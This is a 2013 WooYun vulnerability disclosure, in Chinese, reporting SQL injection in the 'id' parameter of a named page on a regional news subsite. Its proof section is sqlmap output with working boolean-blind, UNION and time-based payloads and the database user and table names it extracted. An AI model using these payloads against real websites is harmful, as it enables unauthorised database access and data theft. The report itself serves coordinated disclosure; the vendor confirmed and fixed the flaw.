漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2013-044133
漏洞标题：南海网某分站SQL注入漏洞漏洞
相关厂商：南海网
漏洞作者： adm1n
提交时间：2013-11-26 19:16
修复时间：2014-01-10 19:17
公开时间：2014-01-10 19:17
漏洞类型：SQL注射漏洞
危害等级：中
自评Rank：10
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2013-11-26： 细节已通知厂商并且等待厂商处理中
2013-11-27： 厂商已经确认，细节仅向厂商公开
2013-12-07： 细节向核心白帽子及相关领域专家公开
2013-12-17： 细节向普通白帽子公开
2013-12-27： 细节向实习白帽子公开
2014-01-10： 细节向公众公开
简要描述：
南海网某分站SQL注入漏洞
详细说明：
1.http://jizhe.hinews.cn/read.php?id=290
漏洞证明：
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=290 AND 3945=3945
Type: UNION query
Title: MySQL UNION query (NULL) - 17 columns
Payload: id=-6535 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,N
ULL,CONCAT(0x7166796471,0x656844577a6177505242,0x71726c6b71),NULL,NULL,NULL,NULL
,NULL,NULL,NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=290 AND SLEEP(5)
---
[18:15:03] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0.11
[18:16:13] [INFO] fetching current user
current user: 'jizhe_tqwz@192.168.%'
Database: dbjizhe
[3 tables]
+---------------------------------------+
| infos |
| infos_class |
| sysadmin |
+---------------------------------------+
Database: information_schema
[37 tables]
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| ENGINES |
| EVENTS |
| FILES |
| GLOBAL_STATUS |
| GLOBAL_VARIABLES |
| INNODB_CMP |
| INNODB_CMPMEM |
| INNODB_CMPMEM_RESET |
| INNODB_CMP_RESET |
| INNODB_LOCKS |
| INNODB_LOCK_WAITS |
| INNODB_TRX |
| KEY_COLUMN_USAGE |
| PARAMETERS |
| PARTITIONS |
| PLUGINS |
| PROCESSLIST |
| PROFILING |
| REFERENTIAL_CONSTRAINTS |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| SESSION_STATUS |
| SESSION_VARIABLES |
| STATISTICS |
| TABLES |
| TABLESPACES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
+---------------------------------------+
修复方案：
看着办吧~
版权声明：转载请注明来源 adm1n@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：9
确认时间：2013-11-27 08:51
厂商回复：
参数过滤问题，已处理。
最新状态：
暂无